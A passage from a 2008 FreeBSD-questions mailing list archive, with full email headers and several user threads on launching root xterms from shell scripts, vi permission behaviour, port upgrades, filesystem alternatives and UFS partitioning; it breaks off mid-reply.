c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:to :subject:mime-version:content-type:content-transfer-encoding :content-disposition; bh=z8vdY3H7idjAblbLdtwlvQc220sBo4NFgPpgyqpWYts=; b=sODY8rPxZhQmgrukxHs82tICxb20aOTtXhDnvUK4K9lwzdKBLVtEJoh2RxlOxX5g6U 8v4VJM052Ij5iuaMP9/27mNZf42jjyhoT5e7GwIQ95Ic0Qr9BtPqu/8vrpvACckejifW X+cf3j3PP37KWOPwKU378JNXjr8xj3T8plcvw= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:to:subject:mime-version:content-type :content-transfer-encoding:content-disposition; b=ADZW45UbUg3vFFcGSm8RInzarZ3c8eJw5QJyu8bsgoQk5m/g05G7EuspfHMS+dA7qI DKz/yhpF0E1ujL4VQ3CRHH8ze83XD/xtoVwybadVbx62Y/7dTuMBToJW0V8SMdUFebYV 7ksR5/a4idnm9Dm/33GwwpqQfvtotig98Et+w= Received: by 10.100.178.2 with SMTP id a2mr6465670anf.114.1228205267537; Tue, 02 Dec 2008 00:07:47 -0800 (PST) Received: by 10.100.13.13 with HTTP; Tue, 2 Dec 2008 00:07:47 -0800 (PST) Message-ID: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> Date: Tue, 2 Dec 2008 10:07:47 +0200 From: "Aggelidis Nikos" To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline Subject: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 08:07:48 -0000 hi to all the list, i need some help... Is it possible to open four consoles as root(authenticate yourself once), in each one run a specific program and do this through a script? {bash or python). i want to open 4 xterms in the four corners of the screen. In 3 xterms i want to run specific applications needing root privileges and the last i want it for administrative purposes. what i have so far: sudo xterm -e "path/to/application1" & sudo xterm -e "path/to/application2" & sudo xterm -e "path/to/application3" & sudo xterm But this approach has the following problems: 1) i have only managed to get it to work as sudo not su 2) i haven't managed to position the 4 terminals correctly in the 4 corners of the screen 3) i want to be able to close and restart a single terminal.without running again the whole script (this i am not sure if it is even doable). For example if one of the applications hungs, then i want to be able to restart this application, without running the whole script again. thanks in advance for your help, nicolas From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 08:10:42 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 57C0D1065672 for ; Tue, 2 Dec 2008 08:10:42 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 356F58FC20 for ; Tue, 2 Dec 2008 08:10:42 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 2D983AFC1C6; Mon, 1 Dec 2008 23:10:41 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 09:10:37 +0100 User-Agent: KMail/1.9.7 References: <8fd8f02c0812012241t2a8517c5n5e5f69d965795b07@mail.gmail.com> <200812020826.21345.fbsd.questions@rachie.is-a-geek.net> <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> In-Reply-To: <8fd8f02c0812012352y6b4aca89v6d7b1355c3ab95f@mail.gmail.com> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812020910.38815.fbsd.questions@rachie.is-a-geek.net> Cc: Ji Subject: Re: mount problem after enabling serial console X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 08:10:42 -0000 On Tuesday 02 December 2008 08:52:58 Ji wrote: > On Mon, Dec 1, 2008 at 11:26 PM, Mel > > wrote: > > On Tuesday 02 December 2008 07:41:17 Ji wrote: > >> Hi all, > > ... > > >> atapci0: port > >> 0xbc30-0xbc37,0xbc28-0xbc2b,0xbc38-0xbc3f,0xbc2c-0xbc2f,0xbc40-0xbc4f,0x > >>bc5 0-0xbc5f irq 6 at device 31.2 on pci0 > >> atapci0: unable to map interrupt > >> device_attach: atapci0 attach returned 6 > > > > There's your problem. Atapci0 can't get an interrupt, which is the ata > > controller that controls your disk. > > > Thank you for your reply, Mel. > > There must be something wrong. What confused me is why the booting > problem does not appear every time I reboot the computer and the > serial console does work fine if it can boot. > And I will really appreciate if you can specify my problem. Thanks a lot. I'm not sure. Your controller doesn't always get an interrupt, so could be the serial console and atapci bridge fight for it and who ever is first gets it. I would scoot this over to freebsd-hardware list and post a verbose boot without the serial console enabled and with. Also mention if your BIOS has an "Enhanced" or "AHCI" setting for the disk controllers and whether MSI interrupts are supported and enabled. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 08:28:51 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 810A51065670 for ; Tue, 2 Dec 2008 08:28:51 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 56AD18FC0C for ; Tue, 2 Dec 2008 08:28:51 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id 4B1C1AFC1C6; Mon, 1 Dec 2008 23:28:50 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 09:28:44 +0100 User-Agent: KMail/1.9.7 References: <200812012304.56334.beech@freebsd.org> In-Reply-To: <200812012304.56334.beech@freebsd.org> MIME-Version: 1.0 Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812020928.46110.fbsd.questions@rachie.is-a-geek.net> Cc: Beech Rintoul , Javier Vasquez Subject: Re: [freebsd-questions] Looking @ upgrades mechanisms... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 08:28:51 -0000 On Tuesday 02 December 2008 09:04:56 Beech Rintoul wrote: > On Monday 01 December 2008 21:43:08 Javier Vasquez wrote: > > On 12/2/08, Javier Vasquez wrote: > > > Hi, > > > > > > I was reading chapter 4 of the handbook, as well as chapters 24 and > > > 26... If I got it clear, I pretty much might get the base system > > > updated by using freebsd-update script. Ports collection can get > > > updated with portsnap, but that doesn't update neither the installed > > > ports, nor the installed packages. To upgrade the installed ports, > > > portmanager or portmaster or portupgrade can be used... However only > > > portupgrade can be used to upgrade packages, right? > > Not sure about the others, I use portupgrade myself. But yes, you can > update packages with portupgrade. > > > > Now, can something like "portupgrade -a -PP" to upgrade all packages > > > without building a thing (might be that some don't get updated due to > > > the lack of binary package yet, and in such case would dependencies be > > > managed right)? > > Not sure what you mean by managed, but if there's no package there would be > no dependent ports downloaded. If you do a portupgrade -aP (single "P") it > will go look for a package then compile it if it's not available. Compiling > really isn't that bad even on an 800MHz box. Portupgrade -PP is detrimental for bandwidth. It's not really portupgrade's fault (well, partially, it shouldn't offer the feature), because it will quite often download Latest/foo.tbz, unpack it entirely and then say "oops, I downloaded this useless package which is older or equal to what you have installed". When i started writing my own tools I quickly realized that the buildserver needs an index of the /packages/ it has. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 08:35:52 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id E22EC1065672 for ; Tue, 2 Dec 2008 08:35:52 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx01.qsc.de (mx01.qsc.de [213.148.129.14]) by mx1.freebsd.org (Postfix) with ESMTP id B1FF58FC14 for ; Tue, 2 Dec 2008 08:35:52 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx01.qsc.de (Postfix) with ESMTP id 9D7713CB64; Tue, 2 Dec 2008 09:35:47 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB28Zi7t001593; Tue, 2 Dec 2008 09:35:44 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Tue, 2 Dec 2008 09:35:44 +0100 From: Polytropon To: "Aggelidis Nikos" Message-Id: <20081202093544.a5cb8a21.freebsd@edvax.de> In-Reply-To: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> References: <30fc78250812020007h22ab0dc4if044e46b4f36b00c@mail.gmail.com> Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Cc: freebsd-questions@freebsd.org Subject: Re: open multiple xterms with script X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 08:35:53 -0000 On Tue, 2 Dec 2008 10:07:47 +0200, "Aggelidis Nikos" wrote: > hi to all the list, > > i need some help... Is it possible to open four consoles as > root(authenticate yourself once), in each one run a specific program > and do this through a script? {bash or python). > i want to open 4 xterms in the four corners of the screen. In 3 xterms > i want to run specific applications needing root privileges and the > last i want it for administrative purposes. > > what i have so far: > > sudo xterm -e "path/to/application1" & > sudo xterm -e "path/to/application2" & > sudo xterm -e "path/to/application3" & > sudo xterm > > But this approach has the following problems: > > 1) i have only managed to get it to work as sudo not su > > 2) i haven't managed to position the 4 terminals correctly > in the 4 corners of the screen Maybe this is a solution for you (or at least a point to start): #!/bin/sh xterm -geometry -title "App 1" -e su root -c "app1" & xterm -geometry -title "App 2" -e su root -c "app2" & xterm -geometry -title "App 3" -e su root -c "app3" & xterm -geometry -title "App 4" -e su root -c "app4" & The -geometry is set as ROWSxCOLS+X+Y, e. g. 80x25+0+0 for the upper left corner. See "man xterm" for further options as you could need them. > 3) i want to be able to close and restart a single terminal.without > running again the whole script (this i am not sure if it is even > doable). For example if one of the applications hungs, then i want to > be able to restart this application, without running the whole script > again. You could create a "wrapper script" that calls four scripts which only start one of the four applications each. ~/bin/run_1: #!/bin/sh xterm -geometry -title "App 1" -e su root -c "app1" & ~/bin/run_2: #!/bin/sh xterm -geometry -title "App 2" -e su root -c "app2" & ~/bin/run_3: #!/bin/sh xterm -geometry -title "App 3" -e su root -c "app3" & ~/bin/run_4: #!/bin/sh xterm -geometry -title "App 4" -e su root -c "app4" & ~/bin/run_all: #!/bin/sh ~/bin/run_1 ~/bin/run_2 ~/bin/run_3 ~/bin/run_4 Not very elegant and tidy, but should work. You could add some checking to the first script mentioned so it gets a clue which application is *not* running and restart it when called, not starting those that are running again (second session). -- Polytropon >From Magdeburg, Germany Happy FreeBSD user since 4.0 Andra moi ennepe, Mousa, ... From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 09:20:04 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 1C8001065673 for ; Tue, 2 Dec 2008 09:20:04 +0000 (UTC) (envelope-from ivoras@gmail.com) Received: from fg-out-1718.google.com (fg-out-1718.google.com [72.14.220.153]) by mx1.freebsd.org (Postfix) with ESMTP id A87068FC13 for ; Tue, 2 Dec 2008 09:20:03 +0000 (UTC) (envelope-from ivoras@gmail.com) Received: by fg-out-1718.google.com with SMTP id l26so2176230fgb.35 for ; Tue, 02 Dec 2008 01:20:02 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=domainkey-signature:received:received:message-id:date:from:sender :to:subject:cc:in-reply-to:mime-version:content-type :content-transfer-encoding:content-disposition:references :x-google-sender-auth; bh=w8+TFOqehi/4fCcc0Xj2jgXRcTNQGi/JZ7GnBVn0wK0=; b=Wf+aUtrPjgrOopeNRAWJ1PjCtlTJLLzcesASEQRRQmrTTxVrYToysDBTFeQcLWluc/ 59HM3o37TVqxXJrJvoAWQig+XLTW5r1mmzJuDYnOEZBoevUFfS5wTx8Hw8yMLbu+ezXc BKO4Cqt8STKsIWAMYXTjLPDK/4OYblP5KzwGA= DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=gamma; h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version :content-type:content-transfer-encoding:content-disposition :references:x-google-sender-auth; b=IAqyD0ld7D/6C1vRhSNrV775mixylQvdpCPMPhfr/8pB3zjh5WXgbJRIgwinOAhrYQ R9pHU2Hv+PP6eQZ/5dfmN1sZ70zW9ErvE/ojzCuC6AvEJTMAxcCNUZZlIz4dwEX2ZHHd WpKWbO3aP01ol3If21rWOq/KB1ywl71NWJnCQ= Received: by 10.181.59.19 with SMTP id m19mr4193867bkk.91.1228209602597; Tue, 02 Dec 2008 01:20:02 -0800 (PST) Received: by 10.181.60.20 with HTTP; Tue, 2 Dec 2008 01:20:02 -0800 (PST) Message-ID: <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> Date: Tue, 2 Dec 2008 10:20:02 +0100 From: "Ivan Voras" Sender: ivoras@gmail.com To: "Nathan Lay" In-Reply-To: <4934E276.3050308@comcast.net> MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit Content-Disposition: inline References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> X-Google-Sender-Auth: 865d55d323cdbc55 Cc: freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 09:20:04 -0000 2008/12/2 Nathan Lay : > What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities > as ZFS without the overhead. Though, strangely, I haven't really heard > anyone discuss it even though it was released some months ago. Well, that's because it doesn't :) From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 09:51:07 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 58CC0106567C for ; Tue, 2 Dec 2008 09:51:07 +0000 (UTC) (envelope-from talk@holon.urwis.cc) Received: from holon.urwis.cc (urwis.cc [82.177.38.81]) by mx1.freebsd.org (Postfix) with ESMTP id 208448FC1B for ; Tue, 2 Dec 2008 09:51:07 +0000 (UTC) (envelope-from talk@holon.urwis.cc) Received: from [82.177.38.80] (artax.pwsz.elblag.pl [82.177.38.80]) (Authenticated sender: talk) by holon.urwis.cc (Postfix) with ESMTP id 93C1632B222 for ; Tue, 2 Dec 2008 10:33:05 +0100 (CET) Message-ID: <493500C0.3030202@holon.urwis.cc> Date: Tue, 02 Dec 2008 10:32:48 +0100 From: Adam Zaleski User-Agent: Thunderbird 2.0.0.18 (Windows/20081105) MIME-Version: 1.0 To: freebsd-questions@freebsd.org Content-Type: text/plain; charset=ISO-8859-2; format=flowed Content-Transfer-Encoding: 7bit Subject: Problem with permissions and vi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 09:51:07 -0000 Hello, I have a problem setting up some permissions to file and editing this file with vi.. I have two different examples to show you what I mean... First one: [netlest@unixlab ~]$ echo "some text" > some_file.txt [netlest@unixlab ~]$ chmod 000 some_file.txt [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt [netlest@unixlab ~]$ echo "some other text" >> some_file.txt -bash: some_file.txt: Permission denied [netlest@unixlab ~]$ cat some_file.txt cat: some_file.txt: Permission denied [netlest@unixlab ~]$ chmod 600 some_file.txt [netlest@unixlab ~]$ cat some_file.txt some text [netlest@unixlab ~]$ Everythink was ok... And now.. another one [netlest@unixlab ~]$ echo "some text" > some_file.txt [netlest@unixlab ~]$ chmod 000 some_file.txt [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt [netlest@unixlab ~]$ vi some_file.txt Now ignore warnings with permission denied showing in vim.. and put some text into the some_file.txt and then :wq! [netlest@unixlab ~]$ ls -l some_file.txt ---------- 1 netlest staff 33 2 gru 10:23 some_file.txt [netlest@unixlab ~/t]$ cat some_file.txt cat: some_file.txt: Permission denied [netlest@unixlab ~/t]$ chmod 600 some_file.txt [netlest@unixlab ~/t]$ cat some_file.txt aasda sd a some texs asdas d as [netlest@unixlab ~/t]$ Why I am able to put some text into some_file.txt with chmod 000 using vi editor and why i can not do the same using echo??? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 09:56:47 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 51810106564A for ; Tue, 2 Dec 2008 09:56:47 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (hmacs.cmi.ua.ac.be [143.129.75.10]) by mx1.freebsd.org (Postfix) with ESMTP id E52918FC08 for ; Tue, 2 Dec 2008 09:56:46 +0000 (UTC) (envelope-from Pieter.Donche@ua.ac.be) Received: from hmacs.cmi.ua.ac.be (localhost [127.0.0.1]) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8) with ESMTP id mB29uji0004086 for ; Tue, 2 Dec 2008 10:56:45 +0100 (CET) Received: from localhost (pdon@localhost) by hmacs.cmi.ua.ac.be (8.13.8+Sun/8.13.8/Submit) with ESMTP id mB29uiQT004083 for ; Tue, 2 Dec 2008 10:56:45 +0100 (CET) X-Authentication-Warning: hmacs.cmi.ua.ac.be: pdon owned process doing -bs Date: Tue, 2 Dec 2008 10:56:44 +0100 (CET) From: Pieter Donche X-X-Sender: pdon@hmacs.cmi.ua.ac.be To: "mail.list freebsd-questions" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Subject: (no subject) X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Pieter Donche List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 09:56:47 -0000 If one has a system with 7 500Gb SATA disks in a hardware RAID6 (Areca Raid Controller), then (according to mail J.Chadwick 7 Nov 2008) they will show up as da (following naming convention for scsi disks although they are not). RAID6 will allow about 2,5 Tb for the 'user' (roughly 1 Tb will be consumed by the parity information of RAID6). How will this 2,5 Tb space present itself at the time of initial install of FreeBSD? Will this be a single 'disk' ad0 ? .. correct or not (then what)? If FreeBSD is to put on the system as only operating system (Fdisk: "A = Use Entire disk"), then will the BSD-partitions will show up as ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? Page 427 of the FreeBSD handbook states that due to the use of 32-bit integers to store the number of sectors is limited to 2^32 -1 sectors/disk = 2 TB. A layout could be a / 1Gb, b swap, d /root 20 Gb, (a /root partition is from an example of someone who claims that at boot FreeBSD checks the partions in background except for the / partition, by keeping / as small as possible, the time to boot can be mimimized .. correct? but will /root ever be something big ??) e /tmp 20 Gb, f /var 20 Gb, g /usr 20 Gb this leaves 2420 Gb which is more than 2 Tb, so you can't put all that in 1 filesystem h /home, you will need to split that in 2 BSD-paritions, but since you can't have more that 8 BSD-partitions (highest BSD-partition letter is h), you need to give up at least one of d, e, f, g. ... correct or not (then what)? What is the best scheme of BSD-partitioning in this case? From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 10:06:26 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id BA44A1065673 for ; Tue, 2 Dec 2008 10:06:26 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from mail.rachie.is-a-geek.net (rachie.is-a-geek.net [66.230.99.27]) by mx1.freebsd.org (Postfix) with ESMTP id 8FB898FC0A for ; Tue, 2 Dec 2008 10:06:26 +0000 (UTC) (envelope-from fbsd.questions@rachie.is-a-geek.net) Received: from localhost (mail.rachie.is-a-geek.net [192.168.2.101]) by mail.rachie.is-a-geek.net (Postfix) with ESMTP id A1506AFC1C6; Tue, 2 Dec 2008 01:06:25 -0900 (AKST) From: Mel To: freebsd-questions@freebsd.org Date: Tue, 2 Dec 2008 11:06:19 +0100 User-Agent: KMail/1.9.7 References: <493500C0.3030202@holon.urwis.cc> In-Reply-To: <493500C0.3030202@holon.urwis.cc> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-2" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200812021106.20916.fbsd.questions@rachie.is-a-geek.net> Cc: Adam Zaleski Subject: Re: Problem with permissions and vi X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 10:06:26 -0000 On Tuesday 02 December 2008 10:32:48 Adam Zaleski wrote: > Hello, > > I have a problem setting up some permissions to file > and editing this file with vi.. I have two different > examples to show you what I mean... First one: > > [netlest@unixlab ~]$ echo "some text" > some_file.txt > [netlest@unixlab ~]$ chmod 000 some_file.txt > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt > [netlest@unixlab ~]$ echo "some other text" >> some_file.txt > -bash: some_file.txt: Permission denied > [netlest@unixlab ~]$ cat some_file.txt > cat: some_file.txt: Permission denied > [netlest@unixlab ~]$ chmod 600 some_file.txt > [netlest@unixlab ~]$ cat some_file.txt > some text > [netlest@unixlab ~]$ > > > Everythink was ok... > > And now.. another one > [netlest@unixlab ~]$ echo "some text" > some_file.txt > [netlest@unixlab ~]$ chmod 000 some_file.txt > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 10 2 gru 09:55 some_file.txt > [netlest@unixlab ~]$ vi some_file.txt > > Now ignore warnings with permission denied showing in vim.. > and put some text into the some_file.txt and then :wq! > > [netlest@unixlab ~]$ ls -l some_file.txt > ---------- 1 netlest staff 33 2 gru 10:23 some_file.txt > [netlest@unixlab ~/t]$ cat some_file.txt > cat: some_file.txt: Permission denied > [netlest@unixlab ~/t]$ chmod 600 some_file.txt > [netlest@unixlab ~/t]$ cat some_file.txt > aasda > sd > a some texs > asdas > d > as > [netlest@unixlab ~/t]$ > > > Why I am able to put some text into some_file.txt with > chmod 000 using vi editor and why i can not do the same > using echo??? Because you have write access on the directory and :wq with an exclamation mark !, forces the write, which in actuality removes the file and writes the editor contents to a new file, then restores permissions. -- Mel Problem with today's modular software: they start with the modules and never get to the software part. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 10:10:13 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 262D6106564A; Tue, 2 Dec 2008 10:10:13 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (wojtek.tensor.gdynia.pl [IPv6:2001:4070:101:2::1]) by mx1.freebsd.org (Postfix) with ESMTP id 6E2778FC12; Tue, 2 Dec 2008 10:10:11 +0000 (UTC) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from wojtek.tensor.gdynia.pl (localhost [IPv6:::1]) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3) with ESMTP id mB2A9sQ8014853; Tue, 2 Dec 2008 11:09:54 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Received: from localhost (wojtek@localhost) by wojtek.tensor.gdynia.pl (8.14.3/8.14.3/Submit) with ESMTP id mB2A9rMV014850; Tue, 2 Dec 2008 11:09:53 +0100 (CET) (envelope-from wojtek@wojtek.tensor.gdynia.pl) Date: Tue, 2 Dec 2008 11:09:53 +0100 (CET) From: Wojciech Puchar To: Ivan Voras In-Reply-To: <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> Message-ID: <20081202110922.T14849@wojtek.tensor.gdynia.pl> References: <200812010959.15647.kirk@strauser.com> <4934E276.3050308@comcast.net> <9bbcef730812020120w539a8f14jc496b14c2fbd52ad@mail.gmail.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed Cc: Nathan Lay , freebsd-questions@freebsd.org Subject: Re: Disenchanted with ZFS; alternatives? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 10:10:13 -0000 > >> What about DragonFlyBSD's new HAMMER FS? I hear it has similar capabilities >> as ZFS without the overhead. Though, strangely, I haven't really heard >> anyone discuss it even though it was released some months ago. it's maybe pre-pre-prerelease. it's not finished yet. From owner-freebsd-questions@FreeBSD.ORG Tue Dec 2 10:17:43 2008 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:4f8:fff6::34]) by hub.freebsd.org (Postfix) with ESMTP id 388AE1065677 for ; Tue, 2 Dec 2008 10:17:43 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from mx02.qsc.de (mx02.qsc.de [213.148.130.14]) by mx1.freebsd.org (Postfix) with ESMTP id CA0E58FC1D for ; Tue, 2 Dec 2008 10:17:42 +0000 (UTC) (envelope-from freebsd@edvax.de) Received: from r55.edvax.de (port-92-196-24-200.dynamic.qsc.de [92.196.24.200]) by mx02.qsc.de (Postfix) with ESMTP id 50C9016C00C4; Tue, 2 Dec 2008 11:17:41 +0100 (CET) Received: from r55.edvax.de (localhost [127.0.0.1]) by r55.edvax.de (8.14.2/8.14.2) with SMTP id mB2AHeGC001824; Tue, 2 Dec 2008 11:17:40 +0100 (CET) (envelope-from freebsd@edvax.de) Date: Tue, 2 Dec 2008 11:17:40 +0100 From: Polytropon To: Pieter Donche Message-Id: <20081202111740.96805018.freebsd@edvax.de> In-Reply-To: References: Organization: EDVAX X-Mailer: Sylpheed 2.4.7 (GTK+ 2.12.1; i386-portbld-freebsd7.0) Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Cc: "mail.list freebsd-questions" Subject: Re: UFS partitioning X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: Polytropon List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 02 Dec 2008 10:17:43 -0000 On Tue, 2 Dec 2008 10:56:44 +0100 (CET), Pieter Donche wrote: > If FreeBSD is to put on the system as only operating system (Fdisk: > "A =3D Use Entire disk"), then will the BSD-partitions will show up as > ad0a (/), ad0b (swap), ad0d (/var) etc... correct or not (then what)? You're mixing terminology here. :-) The "use entire disk" will create a slice for FreeBSD covering the complete disk. A slice is what MICROS~1 calls "primary partition". Now the conclusion: Let's say you create a slice on ad0, it will be ad0s1. Now you can create partitions inside this slice as you mentioned it, e. g. ad0s1a =3D /, ad0s1b =3D swap, ad0s1d =3D /tmp, ad0s1e =3D /var, ad0s1f =3D /usr and ad0s1g =3D /home. But if you're refering to ad0a, ad0b, ad0d etc. you're stating that there's no slice, implying that (if I see this correctly) it isn't possible to boot from that disk. Of couse, if you would intend to use a (physical) second disk for only the home partition, you could omit the slice and the partition and simply newfs ad1 - but that wasn't your question. ad0 |-----------------------------------------------| the whole disk ad0s1 \----------------------------------------------/ one slice ad0s1X \--/\---/\-----/\-----/\-------/\------------/ partitions a b d e f g / swap /tmp /var /usr /home mount point In case of "dual booting", you usually have more than one slice on your disk, but what happens inside the FreeBSD slice is mostly the same. > Page 427 of the FreeBSD handbook states that due to the use of 32-bit > integers to store the number of sectors is limited to 2^32 -1=20 > sectors/disk =3D 2 TB. A layout could be=20 > a / 1Gb,=20 > b swap,=20 > d /root 20 Gb, (a /root partition is from an example of someone who > claims that at boot FreeBSD 